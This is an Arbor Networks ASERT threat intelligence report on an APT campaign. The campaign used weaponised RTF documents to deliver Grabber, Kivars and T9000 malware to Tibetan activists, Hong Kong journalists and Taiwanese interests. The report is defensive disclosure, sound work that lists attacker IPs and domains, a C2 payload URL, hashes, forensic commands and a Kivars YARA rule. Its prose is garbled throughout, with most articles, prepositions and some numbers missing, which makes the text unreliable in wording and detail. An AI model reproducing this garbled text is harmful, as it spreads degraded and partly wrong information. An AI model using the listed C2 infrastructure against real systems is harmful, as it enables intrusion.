ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement ASERT Threat Intelligence Report 2016- Four- Element Sword Engagement Ongoing APT Targeting of Tibetan, Hong Kong, and Taiwanese Interests Executive Summary this paper, reveal recent ongoing activity likely associated with long- running threat campaigns presumed existence associated malcode, dubbed Four Element Sword Builder, used weaponize documents these campaigns. sample twelve different targeted exploitation incidents (taken from larger activity) described along discovered connections previously documented threat campaigns. Four vulnerabilities CVE- 2012- 0158, CVE- 2012- 1856, CVE- 2015- 1641, CVE- 2015- 1770 related parsing Microsoft Rich Text File (RTF) documents being leveraged advanced threat actors launch exploitation campaigns against members Tibetan community, along with journalists human rights workers Hong Kong Taiwan. these vulnerabilities CVE- 2015- 1641 been typically used cybercrime operations starting 2015 been widely observed Advanced Persistent Threat (APT) actors until now. vulnerabilities being used deliver Chinese- oriented malware payloads such Grabber, T9000, Kivars, PlugX, Gh0StRAT Agent.XST. Analysis malware payloads, malware metadata actor group Tactics, Techniques Procedures (TTP provides useful insight into malware, targeting, links past threat actor infrastructure. Indicator overlap reveals connection prior exploitation campaigns against World Uyghur Congress (WUC) from 2009- 2014 presented 2014 Usenix security conference [1]. Additional indicators suggest overlap with actors behind Operation Shrouded Crossbow This recent activity matches pre- existing targeting patterns towards Five Poisons organizations individuals associated with perceived threats Chinese government rule: Uyghurs, Tibetans, Falun Gong, members democracy movement advocates independent Taiwan. This targeting scheme, along with various malware artifacts associated metadata, suggest that threat actors herein have Chinese nexus. Additional malware following same type patterns described been discovered since this report written, suggests that these generalized threat campaigns using weaponized documents ongoing. Copyright 2016 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Vulnerabilities: CVE- 2012- 0158, CVE- 2012- 1856, CVE- 2015- 1641, CVE- 2015- 1770 Four Element Sword builder been observed utilize exploit code against four distinct vulnerabilities. Each malicious document created builder appears leverage three four these vulnerabilities same document, given .DOC extension. Some targets warrant newer exploit code, while others running dated equipment operating systems still fall victim older exploits. Actors will typically only amount force necessary accomplish their actions objectives will typically burn 0day exploit code most advanced techniques against targets that require them. 1. CVE- 2012- 0158: This vulnerability affecting ListView, ListView2, TreeView, TreeView2 ActiveX controls MSCOMCTL.OCX Common Controls various versions Office other software. CVE- 2012- 0158 continues extremely popular vulnerability, used various threat actors years. review Virus Total reveals activity early November 2010, with over 1000 distinct file submissions. fact that this exploit continues bundled into contemporary campaigns testament longevity, although actors have incorporated more recent CVEs into their toolkits since targets likely patching older vulnerabilities either system replacement through ongoing maintenance. first public mention this being used targeted exploitation campaigns April 2012 with additional research published April 2012 [4]. Both those campaigns demonstrate targeting Tibetan community also reveal interest South China Sea. While early actors apparently developed their exploit code, publicly available exploit code this been present Metasploit Framework since April 2012, allowing actor since then easy access leverage this vulnerability their purposes. 2. CVE- 2012- 1856: This vulnerability TabStrip ActiveX control Common Controls MSCOMCTL.OCX affects various versions Office other software. This vulnerability also been used various targeted threat campaigns, although detected less often than CVE- 2012- 0158. Virus Total reveals instances this exploit code February 2016, with first submission September 2013, submission year later September 2014, then substantial increase activity starting April 2015. March 2016, Virus Total reveals instances exploit code CVE- 2012- 1856, indicating substantial increase activity and/or detection. Malicious documents containing combination exploit code CVE- 2012- 0158 CVE- 2012- 1856 were observed early October 2012, however customers VUPEN, offensive security company, were aware this vulnerability since September 2010 [5], although public disclosure made until August 2012 nearly years later when Microsoft patched with MS12- 060. 3. CVE- 2015- 1641: vulnerability involves parsing crafted documents affecting variety versions Office. Virus Total contains instances exploit code this vulnerability, with first submission from August 2015. Seven instances this vulnerability appear specific mail files beginning least November 2015. Several these mail messages appear generated actors interested commercial financial system compromise. exploit this vulnerability being sold wild $2000 Mid- July 2015 posted YouTube July 2015 [7]. Copyright 2016 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement individuals selling exploit code time appear associated with cybercrime operations rather than nation- state targeted threats. Shortly thereafter, Sophos wrote about malicious documents appearing wild most examples they discuss appear related financial threat campaigns, such possible exploitation campaign dealing with Point Sale systems. Later, December 2015, Microsoft Word Intruder (MWI) crimeware incorporated CVE- 2015- 1641 into arsenal exploit code [9]. event, easy access exploit code underground allows targeted threat actors means easily inexpensively obtain code their use. some cases past, dynamics exploit food chain meant that exploits have migrated from advanced threat actors cybercriminals, however they also migrate other direction depending upon situation hand. This exploit gotten more popular and/or detected more frequently since this research initiated started. March 2016, instances exploit code were detected Virus Total. 4. CVE- 2015- 1770: Microsoft Office 2013 2013 allows remote attackers execute arbitrary code crafted Office document, "Microsoft Office Uninitialized Memory Vulnerability" [10]. vulnerability appears ActiveX control, according Microsoft MS15- bulletin [11]. Some likely Italian- based exploitation activity involving uWarrior Remote Access Trojan observed August 2015 [12] using CVE- 2015- 1770 other older exploit code. Other instances exploit code have been observed, volume increasing. 2016 there were only recognized samples this exploit code found Virus Total. March number tripled 128. observed samples, first submission from August 2015 most recent from March 2016. exploit apparently CVE- 2015- 1770 (plus CVE- 2015- 1650) being sold starting September 2015 group calling themselves DaVinci Coders that allows threat actor embed binary their choice inside Office document that will then executed when Office document opened unpatched system. Numerous crafted documents containing author metadata Confidential Surfer were discovered September 2015, connected this release. While many instances exploit code hitting CVE- 2015- 1170 were discovered, underground forum chatter suggests that exploit quality always top- notch. quality efficacy these particular cybercrime- oriented exploits appears vary, based number times exploitation appeared fail during analysis. Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Targeted Exploitation #1: Human Rights Lawyers & Tibetan Activist, Grabber Malware December 2015, malicious file (with .DOC extension) using filename Congress sanctions million fund Tibetans Nepal India.doc mailed targets spear- phishing tactics. file hashes included section. Exploit code targeting four distinct detected this other attachments spearphish messages includes four vulnerable elements: CVE- 2012- 0158, CVE- 2012- 1856, CVE- 2015- 1641, CVE- 2015- 1770. Targeting for sample #1: Hong-Kong Based Legal aid Group and Tibetan Activist email sent human rights associated group Hong Kong sent exiled Tibetan activist. Copyright 2016 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement body document about Tibetan community. portion reproduced here: Document metadata indicates that someone using name bull last person modify save document. last modification date December 2015 same mail sent targets. Rendering Tibetan themed document with vulnerable instance Office results injection Grabber (aka EvilGrab) malware into ctfmon.exe process. Grabber provides usual Remote Access Trojan (RAT) capabilities that actor would want, such capability remotely control target system, list files, download execute, user, download other code execute commands perform lateral movement, exfiltrate data, etc. those seeking more background, helpful document understand full capabilities Grabber written Unit 2015 [13]. Inside compromised machine, Process Hacker tool allows easily observe injected process ctfmon.exe initiating outbound connection 180.169.28[.]58 TCP/8080. observe User- Agent value hardcoded inside Grabber binary discussed Uncovering Seven Pointed Dagger document from Arbor ASERT (http://www.arbornetworks.com/blog/asert/wp- Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement content/uploads/2016/01/ASERT- Threat- Intelligence- Brief- 2015- Uncovering- the- Seven- Point- Dagger.pdf). following segment memory reveals User- Agent activity screenshot below. Past analysis suggests that Grabber exfiltrates data from client encrypted fashion. This always case however, tests revealed interesting occurence when system exploited second time. System activity that occurred during initial compromise subsequently exfiltrated plaintext after second comprise. This plaintext allow additional, unexpected visibility network security apparatus right circumstances. Below tell- tale User- Agent value including unusual series bytes prior request followed exfiltration system- identifying information. Copyright 2016 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Using Memory Forensics to Obtain a Higher Fidelity Malware Sample original sample obfuscated such manner that less useful generating analytical insight, especially insight generated from static analysis. order obtain cleaner sample will need extract from process that injected into. Volatility memory forensics platform help with this. First, DumpIt tool provided Moonsols software package used generate memory dump compromised system. memory dump taken just after successful exploitation, indicated observation traffic then determine compromised process (ctfmon.exe) using Volatility plugin pslist this example, memory dump contained file EvilGrab2.raw: python vol.py c:\stuff\EvilGrab2.raw pslist profile=Win7SP1x86 pslist_take2.txt malfind plugin help discover memory regions where code injection occurred. Running malfind with python vol.py c:\stuff\EvilGrab2.raw malfind profile=Win7SP1x86 malfind_run2.txt provides short list memory regions worthy further analysis. particular, malfind provides with indicators code injection memory address 0x150000 inside ctfmon.exe, where observe presence header. Other headers found memory space ctfmon.exe addresses 0x100000, 0x7ff80000 0x7ffa0000. extract injected code with dlldump plugin save those files easier analysis. this case, memory address 0x150000 most useful location extraction. extract injected from base address 0x150000 save disk with following command: python vol.py c:\stuff\EvilGrab2.raw dlldump 3596 memory base=0x150000 profile=Win7SP1x86 dump- dir=ctfmon_dlldump_directory Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Analysis extracted file results much cleaner (but perfect) instance Grabber that allows analyst incident responder gain greater insight into specific threat activity. example, using static analysis freshly extracted file, observe naming scheme inside code where threat actors have named malware Grabber Additionally, also observe (180.169.28[.]58) mutex string (v2014- v05) inside .data section binary. additional method obtain deeper insight Process Hacker find memory sections within ctfmon.exe process visually analyze malware artifacts seen below). analyst could also save memory binary file opened analyzed IDA. default import table will exist some insight obtained. Copyright 2016 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement example insight obtained examining strings .data section with reveals some text strings used represent keys that correspond simple letter number (such ) that used when keylogging functionality activated. 180.169.28.58:8080 (spearphish): 7d4f8341b58602a17184bc5c07311e8b (RTF): c674ae90f686d831cffc223a55782a93 (IEChecker.exe): 46c7d064a34c4e02bb2df56e0f8470c0 SHA- 256: (Spearphish): bacc4edb5e775d2c957022ad8360946c19f9f75ef2709c1db2d6708d53ec2cd1 SHA- (RTF): af2cc5bb8d97bf019280c80e2891103a8a1d5e5f8c6305b6f6c4dd83ec245a7d SHA- (IEChecker.exe): 7a200c4df99887991c638fe625d07a4a3fc2bdc887112437752b3df5c8da79b6 Connections to Historical and Ongoing Threat Campaign Activity: Uyghur NGO, Tibetans 180.169.28[.]58 TCP/8080 located Shanghai, China. This address been associated with dynamic provider, resolved goodnewspaper.f3322[.]org xinxin20080628.3322[.]org past. Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Goodnewspaper[.]f3322.org well potentially related domains goodnewspaper.3322[.]org goodnewspaper.gicp[.]net were listed threat activity paper presented Usenix conference 2014 entitled Look Targeted Attacks Through Lense [14] that analyzes targeted exploitation campaigns from 2009 2013 directed particularly World Uyghur Congress (WUC) NGO. result this infrastructure overlap, connection prior activity larger historical sense targeting against Uyghur interests. addition goodnewspaper sites, also numerous other Uyghur themed sites associated address: Copyright 2016 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement xinxin20080628 hostname portion domain names also interesting, mentioned 2009 report secure [15] associated with different dynamic provider, gicp.net. domain that case xinxin20080628.gicp[.]net instead xinxin20080628.3322[.]org observed here. xinxin20080628.3322[.]org domain only resolved very short period approximately four hours April 2014. While course possible that this domain misdirection designed point analysts wrong direction, also possible that actor using dynamic client/script made mistake temporarly resolved domain, need short- term basis test perhaps). this older artifact, there could other explanations however clue worth noting that modern activity previously documented campaigns their TTPs threat actors. master list provided Citizen (released conjunction with their reporting various advanced threat activity) lists domain xinxin20080628[.]gicp.net November 2010 [16] address being used that time: 2010- xinxin20080628.gicp[.]net 114.60.106[.]156 This domain also included aforementioned USENIX paper. Other campaign activities involving xinxin20080628.gicp[.]net domain were profiled Communities Risk [17] reveals activity 2010 involving executables delivered target. payload that case IEXPL0RE RAT, also known C0d0s0. IEXPL0RE campain discussed therein involved targeting Tibetan Chinese communities. Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement connection prior threat campaigns suggests that campaign activity continues continues evolve exploit code becomes available. substantial amount activity surrounds domain xinxin20080628.gicp[.]net that interest expanding potentially related context. Those interested further explorations threat indicators from past activity benefit from examining malware such malicious targeting CVE- 2010- 3333 (SHA- 256: 14fcfccb0ae8988f95924256a38477fcc5c2c213d8a55e5a83c8c1bb67a4b6d4). This malicious generates network traffic xinxin20080628.gicp[.]net humanbeing2009.gicp[.]net. Targeting Tibetan groups with malicious files exploitation CVE- 2010- 3333 also mentioned aforementioned Communities Risk document. Another interesting domain overlap concerns malware observed 2013 dubbed BLame, also known Mgbot Mgmbot discussed page presentation given Virus Bulletin 2013 [18]. These slides describe goodnewspaper.gicp[.]net goodnewspaper.3322[.]org domains version malware payload, first observed July 2012. This incident interesting because malcode hidden such manner appear encoding library [19]. Targeted Exploitation #2: Attempted Human Rights Target, Grabber Malware While there other instances exploitation taking place crafted documents using same four only matching SSDEEP hash (6144:NwOD0nTHfnxBl7p01yDn8FJD1O6JN0MrvVburdr3QM5o1Zx0a4VgLjv9uM+yb3Hx:ZbqQM5oBfv9uMt5y BT5yL) prior sample discussed Targeted Exploitation spear phishing mail this second case appears have been sent wrong target, apparent error targets email address observed mail address entered using number instead character. message follows: Copyright 2016 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement mail sent Thursday 2015 19:08:25 +0800 (HKT) submitted Virus Total from Taiwan. Chinese language text mail message, when translated English, mentions meteor shower Hong Kong Space Museum. This different approach than threat actors providing usual geopolitical content, perhaps intent provide some item that considered personally interesting target. attachment filename !12 2016 mm.doc roughly translates from Chinese About 2016 astronomical phenomenon missed Word document metadata, left, shows now- familiar timeframe December 2015 name webAdmin document author modifier. Depending upon generation scenario play, such document metadata useful, being included inside this report provide potential indicators that help track down other activity. Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement original text document rough English translation follows: final payload this document exploit also Grabber same sample used Targeted Exploitation Therefore, this sample uses same Targeted Exploitation other samples profiled this set. 180.169.28.58:8080 Filename: !12 2016 mm.doc (spearphish): b6e22968461bfb2934c556fc44d0baf0 (RTF): 74a4fe17dc7101dbb2bb8f0c41069057 (~tmp.doc): fcfe3867e4fa17d52c51235cf68a86c2 Copyright 2016 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement (IEChecker.exe): 46c7d064a34c4e02bb2df56e0f8470c0 SHA- (spearphish): 4f52292a2136eb7f9538230ae54a323c518fa44cf6de5d10ca7a04ecb6a77872 SHA- (RTF): 0683fac0b564fe5d2096e207b374a238a811e67b87856fc19bdf8eb3d6f76b49 SHA- (~tmp.doc): 60ef10cce9974cdc8a453d8fdd8ddf0cad49c6f07d2c4d095ff483998685b421 SHA- (IEChecker.exe): 7a200c4df99887991c638fe625d07a4a3fc2bdc887112437752b3df5c8da79b6 Connections to Historical and Ongoing Threat Campaign Activity analysis service cryptam.com contains this particular malware sample [20] using YARA classify sample using apt_north_beaver_wmonder_vidgrab name north beaver doesn appear related publicly known campaign. Vidgrab however another name Grabber/Evilgrab malware. presence wmonder YARA rule most likely older Grabber domain webmonder.gicp[.]net, mentioned Trend Micro their 2013 Report Targeted Attack Campaigns [21]. Documents associated with classifier apt_north_beaver_wmonder_vidgrab have been present since least 2013. possible that there relationship between these earlier malicious documents recently observed activity, that recent documents simply reflection continuation prior campaign activity. Targeted Exploitation #3: Asian Press, Kivars Keylogger Payload 2016 spearphish mail sent target. subject this message [BULK] TIBET, BELOVED NATION WILL NEVER FORGET this case, actors have embedded malware inside file have positioned file needing translation. known common authors format such case, however does appear suspicious. Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement specific target this case appears individual working with media publications press Hong Kong. company associated with this individual been reported heavily influenced Chinese Government. archive contains file named brochure. (note space) which actually RTF. Opening brochure .doc vulnerable environment (Windows Office 2013, unpatched) results display file that appears corrupted and/or composed garbage characters, observed left. Triggering final payload results connection 103.240.203[.]232:8080. This address located Hong Kong (in- country target). When malware initiates outbound connection server, server responds with following data: This information useful network- based detection. During analysis, several files were created during exploitation, including tnyjs.dll, uhfx.dat, uhfx.dll, yxsrhsxhxdbldkc.dat. These were created Windows/System32 folder. Attempting open resulted helpful pop- message that reveals string that correlates this sample with instances Kivars keylogger [22]. string Q:\Projects\Br2012\Release\svc.pdb. Analysis this sample reveals that designed service, which matches design Kivars. Copyright 2016 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Connections to Historical and Ongoing Threat Campaign Activity: Shrouded Crossbow Several additional samples Kivars malware were discovered that might have overlap with this particular campaign. overlap circumstantial, since only common elements have Kivars itself, infrastructure also being geolocated Hong Kong. Kivars appears somewhat rare, with only limited amount samples appearing ASERT malware analysis repository. currently unknown malware family closely held, shared among numerous actor groups. Pivoting import hash value malware payload reveals potentially related sample, unnamed keylogger malware analyzed ASERT 2016 with a0dc5723d3e20e93b48a960b31c984c0 SHA- hash 185fc01ec8adbaa94da741c4c1cf1b83185ae63899f14ce9949553c5dac3ecf6. This sample connected same akm.epac[.]to TCP/8088, resolving analysis time 103.240.203[.]232, address Hong Kong. domain akm.epac[.]to began resolving this address January 2016 domain gugehotel[.]cn began resolving this address February 2016 continues resolve this writing March 2016. gugehotel domain also shows resolution activity between 2014 2015 address 107.183.86[.] that reveal large number passive resolutions (570), which likely disqualifies address follow- research. potentially interesting note however that many passive resolutions this domain have suffix domain cos- china.com. This related China Operating System (COS) which Chinese- based operating system designed compete with Android [23]. Pivoting aspects this sample returns other potentially interesting samples: 937c13f5915a103aec8d28bdec7cc769 uses 203.160.247[.]21:443 o ASN 10126 203.160.247.21 CHTI- Taiwan Internet Gateway,TW o This address also found Kivars service binary (MD5: 19b2ed8ab09a43151c9951ff0432a861, SHA- 256: 9d69221584a5c6f8147479282eae3017c2884ae5138d3b910c36a2a38039c776) MD5: b2ae8c02163dcee142afe71188914321 uses wins.microsoftmse[.]com o This sample submitted Virus Total October 2014 from Taiwan. Samples discovered triggering detection Kivars, which been written about Trend 2014 [24]. particular sample first submitted Virus Total 2013 discovered Yara retrohunt, following properties: Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement MD5: 0566703ccda6c60816ef1d8d917aa7b0 SHA- 256: 766e0c75bb13986f6a18f9f6af422dbda8c6717becc9b02cc4046943a960d21f This sample once connected adc.microsoftmse[.]com (122.10.9[.]121), resolving address Hong Kong. This resolution only appears have taken place 2013 associated with bifrose Trojan also correlates with Shrouded Crossbow activity. Numerous other domains resolving this were also observed part Shrouded Crossbow infrastructure. domain microsoftmse[.]com currently points Microsoft address space, used threat actors past. Further details Operation Shrouded Crossbow were published Trend Micro December 2015 [22] reveals Bifrose Kivars Trojans relationship between Kivars appears have used least some parts Bifrose code. [25] Submitting Virus Total results predictable scan results, pivoting import hash results discovery several more samples Kivars service. Scanning Virus Total indicates numerous recent detections Kivars. Many discovered Kivars service files have been submitted January February 2016, indicating wave activity and/or detection. YARA rule detect instances Kivars running service included herein. Service files distinct analyzed directly, scanning memory could also useful event that Kivars becomes more highly obfuscated. rule kivars_service meta: description "Detects instances Kivars malware when installed service" author "cwilson@arbor.net" SHA- "443d24d719dec79a2e1be682943795b617064d86f2ebaec7975978f0b1f6950d" SHA- "44439e2ae675c548ad193aa67baa8e6abff5cc60c8a4c843a5c9f0c13ffec2d8" SHA- "74ed059519573a393aa7562e2a2afaf046cf872ea51f708a22b58b85c98718a8" SHA- "80748362762996d4b23f8d4e55d2ef8ca2689b84cc0b5984f420afbb73acad1f" SHA- "9ba14273bfdd4a4b192c625d900b29e1fc3c8673154d3b4c4c3202109e918c8d" SHA- "fba3cd920165b47cb39f3c970b8157b4e776cc062c74579a252d8dd2874b2e6b" strings: "\\Projects\\Br2012\\Release\\svc.pdb" "This flag" "svc.dll" "ServiceMain" "winsta0" condition: Copyright 2016 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement uint16(0) 0x5A4D filesize 1000000 (all ($s*)) Interestingly, these Kivars service files listed YARA rule have same compilation date 2013- 20@00:26:30. Some detection that appears reasonably accurate includes BKDR_KIVARS.SMV0 (Trend) Win32/Agent.XUI Trojan (ESET). akm.epac[.]to 103.240.203.232:8080 (brochure .rar): c8c6365bf21d947e8e986d4766a9fc16 (brochure .doc): 835fee42132feebe9b3231297e5e71a8 (binary): 905d1cd328c8cfc378fb00bfa38f0427 Imphash (binary): fea5902afa6e504a798c73a09b83df5e (tnyjs.dll): 5bc954d76342d2860192398f186f3310 (uhfx.dll): 6db7ad23186f445c410f59a41e7f8ac5 SHA- hash (brochure .rar): e8af4f3504b0e1cf165dfd1070342b831fd7b5b45da94c6f2a25c28dd6eb3c4a SHA- hash (brochure .doc): 0ed325b841a2beb446c5e9a6825deaa021651c8b627aa7147d89edde05af6598 SHA- (binary): 18219708781208889af05842ea6d563e56910424ec97ef8f695c0c7a82610a23 SHA- (tnyjs.dll): 5676c0b2d3c139dbef5bafa0184576bd1a4ccbd3f7d40b4a6a099a1e61bc2a39 SHA- (uhfx.dll): a46905252567ed2fe17a407d8ae14036fde180f0a42756304109f34d1e8ad872 Targeted Exploitation #4: 64 Bit Kivars Keylogger Targeting available this sample, however first uploaded from Korea first observed ASERT January 2016. instance Kivars malware dropped from this exploitation into AppData/Local/Temp directory with .tmp file extension. bait/distraction document displayed very similar document observed previously discussed Kivars sample: Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement file contains following metadata: date 12/30/2015 fairly close timeframe observed within other malware sample spearphish metadata. author last modified value which observed again while analyzing malware samples this report. Trend Micro profiled version Kivars 2014 [25]. This version will execute environment, therefore possible that additional targeting occurred order scope victim machine. compilation dates were faked, this sample compiled back November 2013. IOCs akm.epac[.]to 103.240.203[.]232 (RTF): ba77d50870756d247a580b8a3a56722c Copyright 2016 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement (dropper): 1c4e3c4df094c32faf0c30f6a613c63e (payload): 89e4cff1496aafa0776619729a75d4ab (payload): f25634becd08d5298db1f3014e477e00 SHA- (RTF): ad251fd7427c0334f34aabe100a216b4af48b1ab4a01705f44b3421edd0be6ae SHA- (dropper): f6bc895b36446d172c4a99be2587376b48fa3b1b0f6150eb8ab83f649f7b8bc6 SHA256 (payload): 8dfcae0eb358f48fc30163e58c75823117f6fd501a48f3dfeb19a06d1c21aa51 SHA256 (payload): f8a18e8b8e6606617e3a63ee5a3050a1b30361703c9a7d9e2d5cc94090c9907b Targeted Exploitation #5: Sixteen Drops of Kadam Empowerment T9000 Keylogger This document submitted 2015- 09:27:24 Sixteen Drops Kadam Empowement.doc (note misspelling) from India. This instance threat activity borrows theme content from page posted Central Tibetan Administration that talks about spiritual ceremony undertaken Dalai Lama [26]. interesting note that threat actors wasted time this particular exploitation attempt, since post made December spearphish mail sent same day. Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement When this sample opened exploitation commences (leveraging CVE- 2012- 0158 CVE- 2015- 1641), files dropped into AppData/Local/Temp directory ~tmp (decoy document) E1BC.tmp (T9000 keylogger executable). decoy document metadata indicates that created Windows User last modified comma decoy document several pages long starts such: Opening sample helpfully presents with dialog based information left inside binary that suggests sample T9000 keylogger: naming scheme potentially interesting. only does identify software project T9000, also unique strings related N_Inst_User_M1 N_Inst_User32 potential presence directory release code. These strings helpful discover other malware written same development environment. Copyright 2016 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Palo Alto Unit published excellent document analyzing T9000 malware [27] that discusses various paths, command structure, modular nature malware, more. observed being used this sample same discussed their article, however malware they profiled uses TCP/8080, observed activity herein uses TCP/7386 (based static analysis). Within analysis environment, first stage T9000 file dropped AppData/Local/Temp using apparently randomized name, AFBA.tmp. This particular compromise creates expected files /Intel directory profiled Unit Avinfo hccutils.dll hccutils.inf hjwe.dat qhnj.dat QQMgr.dll QQMgr.inf ResN32.dll tyeu.dat vnkd.dat ResN32.dat igfxtray.exe Data/dtl.dat Data/glp.uin Another file mentioned Palo Alto report, named Elevate.dll, dropped Intel directory appears involved using sysprep.exe execute custom elevate privileges Administrator. This part known style privilege escalation that been used PlugX [28] past. General information about technique, which been known pentesters years, found [29]. hash Elevate.DLL first observed Virus Total November 2015. Please note that file igfxtray.exe (SHA- hash 21a5818822a0b2d52a068d1e3339ed4c767f4d83b081bf17b837e9b6e112ee61) legitimate file simply used sideloading malicious content. 198.55.120[.]143:7386 URL: http://198.55.120[.]143:7386/B/ResN32.dll (RTF): fdb6543bfb77aa6ddff0f4dfe07e442f (T9000 main binary): d8d70851641efbdfce8d561e6b1a2f29 (Elevate.dll): 1d335f6a58cb9fab503a9b9cb371f57b (QQMgr.dll): b9c584c7c34d14599de8cd3b72f2074b (QQMgr.inf): 8ac933be588f49560179c26ddbc6a753 (ResN32.dat): 50753c28878ce10a748fbd7b831ecbe1 (ResN32.dll): a45e5c32fc2bc7be9d6e4bba8b2807bf (hccutils.dll): 2299fb8268f47294eb2b18282540a955 (hccutils.inf): 2f31ef1a8fca047ed0d623010d569857 (hjwe.dat): d3601a5160b8d122261989d147221eb7 (qhnj.dat): a9de62186cb8d0e23b0dc75e1ae373ac Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement (tyeu.dat): 29ec20f5fa1817dc9250c434e61420ea (vnkd.dat): 35f4ce864c3a3dc016fea3459d6402a9 SHA- (RTF): 8e4de6fb35ce4cd47e06b48fb86b7da3eba02031cfd8ae714e25f8f7903f0141 SHA- (T9000 main binary): 7c04286734718300e2c0691be9b6622f2d2525ca07ab27102a424af6f8cc3aec SHA- (Elevate.dll): 9c23febc49c7b17387767844356d38d5578727ee1150956164883cf555fe7f95 SHA- (QQMgr.dll): bf1b00b7430899d33795ef3405142e880ef8dcbda8aab0b19d80875a14ed852f SHA- (QQMgr.inf): ace7e3535f2f1fe32e693920a9f411eea21682c87a8e6661d3b67330cd221a2a SHA- (ResN32.dat): 5b90fa081e3ac29a7339995f9b087dab9981409ff62e3215eb558908c6b96b14 SHA- (ResN32.dll): 1cea4e49bd785378d8beb863bb8eb662042dffd18c85b8c14c74a0367071d9a7 SHA- (hccutils.dll): 3dfc94605daf51ebd7bbccbb3a9049999f8d555db0999a6a7e6265a7e458cab9 SHA- (hccutils.inf): f05cd0353817bf6c2cab396181464c31c352d6dea07e2d688def261dd6542b27 SHA- (hjwe.dat): bb73261072d2ef220b8f87c6bb7488ad2da736790898d61f33a5fb7747abf48b SHA- (qhnj.dat): c61dbc7b51caab1d0353cbba9a8f51f65ef167459277c1c16f15eb6c7025cfe3 SHA- (tyeu.dat): e52b5ed63719a2798314a9c49c42c0ed4eb22a1ac4a2ad30e8bfc899edcea926 SHA- (vnkd.dat): c22b40db7f9f8ebdbde4e5fc3a44e15449f75c40830c88932f9abd541cc78465 Connections to Historical and Ongoing Threat Campaign Activity sample contains following string: http://198.55.120[.]143:7386/B/ResN32.dll, which used pivot find other samples. this case, find another document entitled Tibetan Protester Freed, Others Jailed.doc using same HTTP site information. That particular sample also profiled this report. Targeted Exploitation #6: T9000 Keylogger This document exploits CVE- 2012- 0158, CVE- 2012- 1856 CVE- 2015- 1641 drops instance T9000 keylogger malware. spearphish message available this case, however instance T9000 malware itself same profiled Targeted Exploitation only document that distinct between incident incident original file. other artifacts, please refer table Targeted Exploitation IOCs (RTF): fb1e8c42d11e3a2de97814e451ee3375 SHA- (RTF): d5fa43be20aa94baf1737289c5034e2235f1393890fb6f4e8d4104565be52d8c Targeted Exploitation #7: T9000, Chinese Exchange Program Bait File This document exploits CVE- 2012- 0158, CVE- 2012- 1856 CVE- 2015- 1641 drops instance T9000 keylogger malware. bait file this instance T9000 involves exchange program. Chinese document rough English translation follows: Copyright 2016 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement bait file shows author HBWBEI last modified jack Office metadata suggests that file created March 2011, last printed April 2008. sure document could printed before created. Perhaps threat actors have learned time travel, these values crafted. event, last modified date correspondence with threat activity this case. T9000 behavior this sample different from other samples that Intel folder only contained small amount files, unknown reasons. this case, Intel folder only contains hjwe.dat (the encrypted core malware family discovered Palo Alto Networks), debug information about files used malware Data folder containing dtl.dat (encrypted config) glp.uin (plugin configuration) files. File hash values these files match what previously documented targeted exploitation incident Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 198.55.120[.]143 TCP/7386 and/or TCP/8080 (RTF): da97c88858214242374f27d32e27d957 (E804.tmp): e4e8493898d94f737ff4dc8fab743a4a (bait file): 9ae498307da6c2e677a97a458bff1aea SHA- (RTF): 647b443ecaa38d2834e5681f20540fa84a5cf2b7e1bee6a2524ce59783cb8d1b SHA- (E804.tmp: 5f3d0a319ecc875cc64a40a34d2283cb329abcf79ad02f487fbfd6bef153943c SHA- (bait file): 4f1784a4e4181b4c80f8d77675a267cbdd0e35ea1756c9fdb82294251bef1d28 Connections to Historical and Ongoing Threat Campaign Activity Observation sample suggests that 198.55.120[.]143 TCP/7386. This port observed other samples this campaign/engagement. Automated analysis configuration itself suggests that port TCP/8080 however. Further investigation required determine reason discrepancy. Connecting TCP/8080 this with browser results download file called download with hash e1269c22ad1e057b9c91523498b4b04d SHA- hash b9914fb8c645e0c41d497db303c1ffa594da709686252fccb8d28dffac86275b. This file delivered user after user presents HTTP GET. Connecting this port with telnet manually issuing results delivery nine bytes from server. 